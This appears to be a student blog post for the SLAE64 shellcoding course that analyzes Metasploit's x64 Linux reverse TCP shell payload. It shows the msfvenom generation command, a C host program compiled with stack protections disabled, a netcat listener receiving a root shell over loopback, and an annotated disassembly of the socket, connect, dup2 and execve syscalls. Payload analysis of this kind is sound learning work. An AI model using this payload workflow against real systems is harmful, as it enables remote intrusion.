SLAE64 Assignment 5 - MSFVenom Reverse Shell Analysis

7 minute read


For the fifth assignment of the SLAE64, I analyzed three payloads from msfvenom. This is the second payload, linux/x64/shell_reverse_tcp.

Reverse Shell Anaylsis

We will be analyzing the msfvenom non-staged reverse shell payload.

Setting the Payload Options

With MSF Venom we can check the options available for our payload by passing the --list-options flag.

root# msfvenom -v shellcode -f c -p linux/x64/shell_reverse_tcp --list-options

Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port
  • We will set the LHOST to the IP address
    • This is effectively our localhost interface which will work for our analysis.

Generating the MSFVenom Payload

Here we generate the payload on Kali Linux and output it to the C format. This allows us to easy add it to our host shellcode.c program.

root# msfvenom -v shellcode -f c -p linux/x64/shell_reverse_tcp LHOST=''
Payload size: 74 bytes
unsigned char shellcode[] =
  • Right off the bat we can see that \x7f\x01\x01\x01' is clearly our IP address`.

Shellcode.c Host Program

Here we add our shellcode to our C host program. We will compile our host program, and then use GDB for analysis of the non-staged reverse shell payload.

unsigned char shellcode[] =
int main()
        int (*ret)() = (int(*)())shellcode;

Compile & Test Shellcode.c

Start a netcat listener on port 4444 before executing the reverse shell shellcode.

Terminal 1

root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
root# ./shellcode

Terminal 2

root# nc -nlvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 59182
uid=0(root) gid=0(root) groups=0(root)

GDB Analysis


Here we will start our shellcode with the Gnu Debugger and set a breakpoint on the main function. After the breakpoint is set, we will run the program.

root# gdb ./shellcode
GNU gdb (Debian 8.3.1-1) 8.3.1
gdb-peda$ b main
Breakpoint 1 at 0x1129
gdb-peda$ r

Finding shellcode[]

We will use the GDB step-into (s) command to move through our program until we reach the point where execution is passed to the shellcode[] array (our non-staged reverse shell shellcode from msfvenom).

=> 0x555555555141 <main+28>:    call   rdx
gdb-peda$ s
  • Step into rdx (shellcode[]).

Dumping MSFVenom Reverse Shell Assembly Instructions

With the instruction pointer (RIP) on the first instruction of shellcode, dump the instructions of the entire payload.

=> 0x555555558040 <shellcode>:  push   0x29
   0x555555558042 <shellcode+2>:        pop    rax
   0x555555558043 <shellcode+3>:        cdq
   0x555555558044 <shellcode+4>:        push   0x2
   0x555555558046 <shellcode+6>:        pop    rdi
   0x555555558047 <shellcode+7>:        push   0x1
   0x555555558049 <shellcode+9>:        pop    rsi
   0x55555555804a <shellcode+10>:       syscall
   0x55555555804c <shellcode+12>:       xchg   rdi,rax
   0x55555555804e <shellcode+14>:       movabs rcx,0x101017f5c110002
   0x555555558058 <shellcode+24>:       push   rcx
   0x555555558059 <shellcode+25>:       mov    rsi,rsp
   0x55555555805c <shellcode+28>:       push   0x10
   0x55555555805e <shellcode+30>:       pop    rdx
   0x55555555805f <shellcode+31>:       push   0x2a
   0x555555558061 <shellcode+33>:       pop    rax
   0x555555558062 <shellcode+34>:       syscall
   0x555555558064 <shellcode+36>:       push   0x3
   0x555555558066 <shellcode+38>:       pop    rsi
   0x555555558067 <shellcode+39>:       dec    rsi
   0x55555555806a <shellcode+42>:       push   0x21
   0x55555555806c <shellcode+44>:       pop    rax
   0x55555555806d <shellcode+45>:       syscall
   0x55555555806f <shellcode+47>:       jne    0x555555558067 <shellcode+39>
   0x555555558071 <shellcode+49>:       push   0x3b
   0x555555558073 <shellcode+51>:       pop    rax
   0x555555558074 <shellcode+52>:       cdq
   0x555555558075 <shellcode+53>:       movabs rbx,0x68732f6e69622f
   0x55555555807f <shellcode+63>:       push   rbx
   0x555555558080 <shellcode+64>:       mov    rdi,rsp
   0x555555558083 <shellcode+67>:       push   rdx
   0x555555558084 <shellcode+68>:       push   rdi
   0x555555558085 <shellcode+69>:       mov    rsi,rsp
   0x555555558088 <shellcode+72>:       syscall
   0x55555555808a <shellcode+74>:       add    BYTE PTR [rax],al
gdb-peda$ x/35i $rip

Socket System Call

<shellcode>:          push   0x29
<shellcode+2>:        pop    rax
<shellcode+3>:        cdq
<shellcode+4>:        push   0x2
<shellcode+6>:        pop    rdi
<shellcode+7>:        push   0x1
<shellcode+9>:        pop    rsi
<shellcode+10>:       syscall
  • In the first 3 commands we can see that rax is set to 0x29.
    • This is the system call number for socket.
  • cdq is used to clear out the rdx register
    • set it to 0x0 aka NULL
  • rdi is set to 0x2 which is AF_INET
  • rsi is set to 0x1 which is SOCK_STREAM

Connect System Call

<shellcode+12>:       xchg   rdi,rax 
  • Here we see the socket file descriptor returned from the socket system call, passed to the connect system call.
<shellcode+14>:       movabs rcx,0x101017f5c110002
<shellcode+24>:       push   rcx
<shellcode+25>:       mov    rsi,rsp
  • This is the struct for the socket address.
    • 0002 is AF_INET
    • 5c11 is for TCP Port 4444
    • 0101017f is for the IP address
<shellcode+28>:       push   0x10
<shellcode+30>:       pop    rdx
  • rdx is equal to the size of the struct.
    • 16 bytes in decimal, or 0x10 in hex.
<shellcode+31>:       push   0x2a
<shellcode+33>:       pop    rax
<shellcode+34>:       syscall
  • This is the system call number for connect, 0x2a, which must be in the rax register at the time of the system call.

Dup2 Loop

This is the dup2 system call loop to pass standard input, output, and error to the remote connection.

<shellcode+36>:       push   0x3
<shellcode+38>:       pop    rsi
<shellcode+39>:       dec    rsi
<shellcode+42>:       push   0x21
<shellcode+44>:       pop    rax
<shellcode+45>:       syscall
<shellcode+47>:       jne    <shellcode+39>
  • 0x21 is the system call for dup2.


Here we see the execve system call which will spawn a shell after establishing a remote connection.

<shellcode+49>:       push   0x3b
<shellcode+51>:       pop    rax
<shellcode+52>:       cdq
  • set rax to the system call number for execve.
  • cdq clears the rdx register.
RDI: 0x7fffffffe0e8 --> 0x68732f6e69622f ('/bin/sh')

<shellcode+53>:       movabs rbx,0x68732f6e69622f
<shellcode+63>:       push   rbx
<shellcode+64>:       mov    rdi,rsp
<shellcode+67>:       push   rdx
  • Here we see rdi set to the memory address of the null terminated string /bin/sh.
RSI: 0x7fffffffe0d8 --> 0x7fffffffe0e8 --> 0x68732f6e69622f ('/bin/sh')

<shellcode+68>:       push   rdi
<shellcode+69>:       mov    rsi,rsp
  • Here we see rsi set to be a pointer to a pointer for the string /bin/sh.
<shellcode+72>:       syscall
<shellcode+74>:       add    BYTE PTR [rax],al
  • And finally, this is our reverse shell spawning the shell for the connection.

SLAE64 Blog Proof

This blog post has been created for completing the requirements of the x86_64 Assembly Language and Shellcoding on Linux (SLAE64):
SLAE/Student ID: PA-10913